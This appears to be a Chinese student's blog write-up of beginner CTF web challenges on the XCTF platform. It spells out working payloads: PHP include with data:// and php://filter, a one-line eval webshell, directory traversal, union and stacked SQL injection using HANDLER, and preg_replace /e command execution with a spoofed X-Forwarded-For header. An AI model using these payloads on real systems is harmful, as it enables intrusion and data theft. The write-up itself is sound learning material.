[做题记录]攻防世界_2(新手模式)

发布时间 2023-08-30 18:23:09作者: notbad3

一只网络安全菜鸟--(˙<>˙)/--
写博客主要是想记录一下自己的学习过程,过两年毕业了也能回头看看自己都学了些啥东西。
由于本人水平有限内容难免有错误、疏漏、逻辑不清、让人看不懂等各种问题,恳请大家批评指正
如果我写的东西能对你有一点点帮助,那真是再好不过了?。


Web_php_include

进入环境:

<?php
show_source(__FILE__);//有点像highlight_file(__FILE__),展示当前源代码
echo $_GET['hello']; //没啥用
$page=$_GET['page']; //GET传参page
while (strstr($page, "php://")) {  //strstr()函数在$page中找php://,返回php://和它后面的内容
    $page=str_replace("php://", "", $page); //把php://全部代替为空格
}
include($page); //包含漏洞
?>

看到这道题我先想到的就是用data://伪协议执行命令,后面才知道PHP://和php://是一样的。。
第一种方法:利用data://执行命令。

/?page=data://text/plain,<?php system('ls'); ?>
结果:
fl4gisisish3r3.php index.php phpinfo.php
cat读下这个fl4gisisish3r3.php:
/?page=data://text/plain,<?php system('cat fl4gisisish3r3.php'); ?>
看下源码:
$flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

第二种方法:利用PHP://大小写绕过
image
image
之后用 PHP://filter读fl4gisisish3r3.php:
/?page=PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php
得到BASE64编码的flag,解码即可。
第三种方法:利用data://伪协议写一句话木马,然后用蚁剑连。
/?page=data://text/plain,<?php @eval($_POST['x'];?>

这个方法我没弄太明白,再看看后面补上。

upload1

没啥好说的,前端验证,上传个图片然后burpsuite抓包改成php后缀,蚁剑链接即可

warmup

进入环境:

image
看下源码:

image
看到source.php,访问一下:

<?php
    highlight_file(__FILE__);//高亮
    class emmm
    {
        public static function checkFile(&$page) //引用传递
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //白名单
            if (! isset($page) || !is_string($page)) {//若$page没定义或不是字符串
                echo "you can't see it"; //echo 你看不见它
                return false;  //返回false
            }

            if (in_array($page, $whitelist)) { //page在白名单里
                return true;
            }

            $_page = mb_substr(//截取特定长度的字符串。$page目标字符串,0起始位置,后面接目标长度
                $page,
                0,
                mb_strpos($page . '?', '?') //$page拼接一个?,然后返回第一个?在拼接字符串中出现的位置,也是从0开始查找
            ); //赋值给$_page ,我认为就相当于取第一个?之前的字符串
            if (in_array($_page, $whitelist)) {
                return true;//截取完的$_page要在白名单里
            }

            $_page = urldecode($page);  //url解码
            $_page = mb_substr( //同上,截取_page,从0开始截
                $_page,
                0,
                mb_strpos($_page . '?', '?') //_page拼个?,返回第一个问号出现的位置
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }  //_page要在白名单里
            echo "you can't see it";
            return false;
        }
    }
	    if (! empty($_REQUEST['file'])//file非空
        && is_string($_REQUEST['file'])//file必须是个字符串
        && emmm::checkFile($_REQUEST['file'])//file带入上面一大串函数,必须return True
    ) {
        include $_REQUEST['file']; //文件包含:file,$_REQUEST可以同时获得GET、POST、COOKIE中传递的变量
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";//输出滑稽图片
    }  
?> 
hint.php的内容:
flag not here, and flag in ffffllllaaaagggg

上面那三个return ture条件判断不需要全部满足,满足一个让整个函数checkFile return True就行了。
我们的目标是要include(ffffllllaaaagggg),但这个东西在哪里我们还不知道,include函数包含文件的时候需要知道绝对/相对路径(要是和当前页面在一个文件夹下直接填文件名就行),而且include函数会把任意后缀的文件当php文件内容解析。

我们不知道ffffllllaaaagggg这个东西的绝对路径,也不知道它是不是和source.php或hint.php在一个文件夹下,因此只能尝试相对路径去找这个东西:
source.php/?file=hint.php?123../../../../../../ffffllllaaaagggg
注意这个payload的写法,一层一层看:其实我先访问了一个hint.php?123这样一个东西,在目录穿越时php根本不在意中间的文件存不存在,只要能到达正确的目标就行。我写hint.php?123这东西就是为了满足checkfile的条件,可以通过一个../回到source.php。光打字可能不太好理解,举个栗子:
在D:\phpstudy_pro下存在一个txt文件hello.txt:

<?php

echo'hello world!';

?>

后缀txt无所谓,写成jpg都行,include任何后缀都会把它当php

我的主页所在目录:D:\phpstudy_pro\WWW,存在一个index.php:

<?php
echo'Hello world!';
echo '<br/>';
echo 'My name is viper3 and you can call me notbad.';
echo '<br/>';
echo 'My name is viper3.';
echo '<br/>';
echo 'You should know me.';
echo '<br/>';

$viper = $_GET['viper'];
if (isset($viper)) {
    include($viper);
} else {
    echo"pls do somehing!" ;
}
echo '<br/>';

?>

现在我们要用目录穿越去读hello.txt的内容,先放下我WWW文件夹下的内容:
image
先访问index.php:
image

payload:
http://localhost/index.php/?viper=lebron../../../hello.txt
结果:
image

成功执行了hello.txt的内容,在WWW文件夹下根本没有lebron这个东西,不过我可以通过一个../再跳回去(回到index.php),再../回到WWW,再../回到phpstudy_pro,然后执行hello.txt的内容。
flag:flag{25e7bce6005c4e0c983fb97297ac6e5a}

NewsCenter

进入环境:
image

简单的sql手注,没啥好说的,fuzz一下发现是单引号包裹,这东西啥也没过滤直接注就行
payload:hell' union select 1,database(),group_concat(id,fl4g) from secret_table #
拿到flag:
QCTF{sq1_inJec7ion_ezzz}

Web_python_template_injection

python模板注入,这类的题以前碰到都是跳过去想着以后再说。。今天又碰到了,还是别拖着了哈哈。

直接看别人的wp,参考了这些师傅的文章:
https://blog.csdn.net/qq_45774670/article/details/110223398
https://xz.aliyun.com/t/11090

web2

进入环境:

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   //注意下划线的长度,他只是每次把$_c加上去了而已
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?> 

一个加密过程,根据他加密的过程反过来解密应该就能拿flag了。

str_rot13这东西是把字母表往后移13个位置,我查了一下一共26个字母(哈哈),那让他回去就是再往后移13位就好了。
写个脚本解密一下:

<?php
$a = 'a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$b = base64_decode(strrev(str_rot13($a)));

for ($_0 = 0;$_0 < strlen($b);$_0++){
	$c = substr($b,$_0,1);
	$d = ord($c)-1;
	$c = chr($d);
	$e = $e.$c;
}
echo strrev($e) ;
?>

拿到flag:
flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

ics-05

题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统。
进入环境:
image
设备维护中心可以进入:
image
四处点点发现点击‘云平台设备维护中心’后出现以下界面:

image
出现了一个通过GET方法传递的变量page,给他赋值index后页面下方有回显。
我在index后面加了个.php,页面发生变化:
image
出了个OK。。想到可能是include()函数,用filter伪协议读下Index.php的源码看看怎么回事:

php://filter/convert.base64-encode/resource=index.php
果然出现了一大堆base64编码。。
image
解下码看看是什么东西:

<?php
error_reporting(0);

@session_start();
posix_setuid(1000);


?>
<!DOCTYPE HTML>
<html>

<head>
    <meta charset="utf-8">
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="stylesheet" href="layui/css/layui.css" media="all">
    <title>设备维护中心</title>
    <meta charset="utf-8">
</head>

<body>
    <ul class="layui-nav">
        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
    </ul>
    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
        <legend>设备列表</legend>
    </fieldset>
    <table class="layui-hide" id="test"></table>
    <script type="text/html" id="switchTpl">
        <!-- 这里的 checked 的状态只是演示 -->
        <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
    </script>
    <script src="layui/layui.js" charset="utf-8"></script>
    <script>
    layui.use('table', function() {
        var table = layui.table,
            form = layui.form;

        table.render({
            elem: '#test',
            url: '/somrthing.json',
            cellMinWidth: 80,
            cols: [
                [
                    { type: 'numbers' },
                     { type: 'checkbox' },
                     { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
                     { field: 'name', title: '设备名', templet: '#nameTpl' },
                     { field: 'area', title: '区域' },
                     { field: 'status', title: '维护状态', minWidth: 120, sort: true },
                     { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
                ]
            ],
            page: true
        });
    });
    </script>
    <script>
    layui.use('element', function() {
        var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
        //监听导航点击
        element.on('nav(demo)', function(elem) {
            //console.log(elem)
            layer.msg(elem.text());
        });
    });
    </script>

<?php

$page = $_GET[page]; //GET方法传page的值

if (isset($page)) { 



if (ctype_alnum($page)) {//page是否只包括字母和数字,单独字母可以,单独数字也可以,混合更可以
?>

    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p> //die函数可以输出特定字符串后结束程序运行,不单单像echo一样只能输出,die()函数更像exit()函数
    <br /><br /><br /><br /> //如果page是字母加数字,那么就echo page然后终止程序运行

<?php

}else{  //如果page不仅是字母和数字的组合,那么

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) {//看page里有没有input,有则终止程序
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {//看page里有没有ta:text,有则终止程序
                    die();
                }

                if (strpos($page, 'text') > 0) {//看page里有没有text,有则终止程序
                    die();
                }

                if ($page === 'index.php') { //强等于Index.php,die(ok)
                    die('Ok');
                }
                    include($page); /包含page,然后终止程序
                    die();
                ?>
        </p>
        <br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {//抓包改个X-Forwarded-For:127.0.0.1,注意不能带着page参数因为给page赋值任何最后都会die(),跳不到这步

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub]; //三个GET方式传参

    if (isset($pattern) && isset($replacement) && isset($subject)) {//如果这三个都被定义了
        preg_replace($pattern, $replacement, $subject);
    }else{//搜索pattern,替换成replacement,目标字符串是subject
        die();//没定义的话就直接die()
    }

}
?>

</body>

</html>

strpos() 函数用于在一个字符串中查找另一个字符串第一次出现的位置。它返回第一次出现的位置的索引值,如果未找到,则返回 false。
preg_replace()这东西的/e是早期的一个漏洞,之前在buuctf上做过类似的题,正好靠这个再复习以下:
image
相关题目:[BJDCTF2020]ZJCTF,不过如此

写个最初的payload:
/?pat=/a/e&&rep=system('ls')&&sub=ab
意思就是在a这个字符串里找a,如果找到了就system('ls')。送到Burpsuite看下结果:
image
image
ls看下s3chahahaDir这个目录底下都有啥东西:
/?pat=/a/e&&rep=system(%27ls%20s3chahahaDir%27)&&sub=ab //一定要用url编码!
底下有个flag:
<br >Welcome My Admin ! <br >flag
ls看下这个flag底下都有啥东西:
pat=/a/e&&rep=system(%27ls%20s3chahahaDir/flag%27)&&sub=ab
有个flag.php,cat读一下:
?pat=/a/e&&rep=system(%27cat%20s3chahahaDir/flag/flag.php%27)&&sub=ab
拿到flag:
cyberpeace{e0316ff8010bbc759659216cad033caf}
再修改参数时不要忘记XFF头,还有一点就是这个flag藏在源码里。

supersqli

题目描述:随便注。
进入环境:
image
这题之前在buuctf做过。。不过当时没做出来看的wp,再做一遍就相当于复习了。我发现我这人有个问题:虽然有些题做过,但再碰到的时候思路可能还不怎么清楚。。以后要注意复习和总结了。
这题就是堆叠注入,先看下参数是怎么包裹的:
image
image
单引号包裹:
image
可以输入的全部姿势有1,2,114514
order by 看看一共几列:
/?inject=1' order by 3%23
image
多了个3,换成2看看:
1' order by 2%23
image
没啥问题,一共两列,union select联合查询看下显示位:
3' union select 1,2 #
image
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
出了个正则表达式,很多东西都被正则匹配掉了,像select where这些不能用大概率不能联合查询了,堆叠查询看下数据库:
1';show databases;

有回显,证明可行:
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}

看下当前数据库下都有什么表:
1';show tables;

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

有“1919810931114514”和“words”这两个表,看下表中的列都是啥:
1';show columns from 1919810931114514%23;
注意这里因为表名是纯数字,为了避免和数字语法冲突所以要用反引号括起来,因为这个编辑器自动把两个这种符号包裹的数据转成其它格式了所以没显示出来。。。
结果:

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

发现有一列的列名为flag,想办法读1919810931114514表中flag列的数据:

1';handler `1919810931114514` open as viper;handler viper read first;handler viper close;#
//handler这东西相当于一个游标,可以通过这个游标去读需要的数据
操作步骤:handler ××× open (as ???)  打开游标,as是为了后面好操作
         handler ??? read first/next   利用游标读内容
         handler ??? close     关闭游标

拿到flag:
flag{c168d583ed0d4d7196967b28cbd0b5e9}
为了加深印象再去读一下words表中的列:
1'show columns from words;%23

array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

利用handler 读下words表中的内容:

1';handler words open as viper;handler viper read first; handler viper read next; handler viper read next;handler viper close;%23

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}                              //这东西是最开头那个1带出来的。

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}

参考了这位师傅的wp,感谢!
https://blog.csdn.net/weixin_42566218/article/details/122998991?spm=1001.2014.3001.5506
最后再补充一下show columns from 表名 出现的结果是什么意思,拿words表举例:

array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

我利用phpmyadmin在viper库中建立一个notbad表,表中数据如下:
image

show columns from notbad 看下结果:
image

这命令不止会展示列名是啥(Field),还有类型(type),Null(是否允许为空),Key(键),默认值(Default),额外信息(Extra):
image
这就解释了为啥一个show cloumns ××× 为啥会出一大堆东西。